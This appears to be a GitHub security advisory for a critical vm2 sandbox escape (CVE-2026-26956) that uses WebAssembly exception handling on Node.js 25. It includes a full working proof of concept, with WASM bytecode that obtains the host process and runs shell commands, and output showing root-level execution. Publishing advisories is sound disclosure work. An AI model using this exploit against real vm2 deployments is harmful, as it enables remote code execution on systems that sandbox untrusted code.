WASM Sandbox Escape (Node 25 only)

Critical **patriksimek** published **GHSA-ffh4-j6h5-pg66** 4 days ago

Package

vm2 (npm)

Affected versions

3.10.4

Patched versions

3.10.5

Description

Summary

Full sandbox escape with arbitrary code execution. Attacker code inside `VM.run()` obtains host process object and runs host commands with zero host cooperation.

Details

Confirmed on: vm2 3.10.4, Node.js v25.6.1 (x64 Linux)
Trigger: Attacker-controlled code passed to `VM.run()`
Requires: Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)

vm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects `handleException()` into JS `catch` clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.

WebAssembly's `try_table` instruction with a `JSTag` catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (`e.name = Symbol(); e.stack`), the WASM `try_table` catches it as an opaque `externref` and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (`hostError.constructor.constructor`) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.

PoC

```
const { VM } = require("vm2");
console.log("vm2:", require("vm2/package.json").version, "| node:", process.version);

new VM().run(`
    const before = typeof process;

    const err = new Error("x");
    err.name = Symbol();

    const wasm = new Uint8Array([
        0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,
        0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,
        0x02,0x19,0x02,
        0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,
        0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,
        0x03,0x02,0x01,0x01,
        0x07,0x0f,0x01,
        0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,
        0x0a,0x12,0x01,0x10,0x00,
        0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b
    ]);

    const instance = new WebAssembly.Instance(
        new WebAssembly.Module(wasm),
        { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }
    );

    const hostError = instance.exports.catch_error();
    const p = hostError.constructor.constructor("return process")();
    const id = p.mainModule.require("child_process").execSync("id").toString().trim();
    const log = p.mainModule.require("console").log;
    log("");
    log("process before escape:", before);
    log("process after escape: ", typeof p);
    log("host pid:             ", p.pid);
    log("host node version:    ", p.version);
    log("RCE:                  ", id);
`);
```

```
> node poc.js
vm2: 3.10.4 | node: v25.6.1

process before escape: undefined
process after escape:  object
host pid:              217
host node version:     v25.6.1
RCE:                   uid=0(root) gid=0(root)
groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(di
```

Proof files

poc.js

Severity

Critical 9.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-26956

Weaknesses

▶ CWE-693

Credits

 **0x5t** Reporter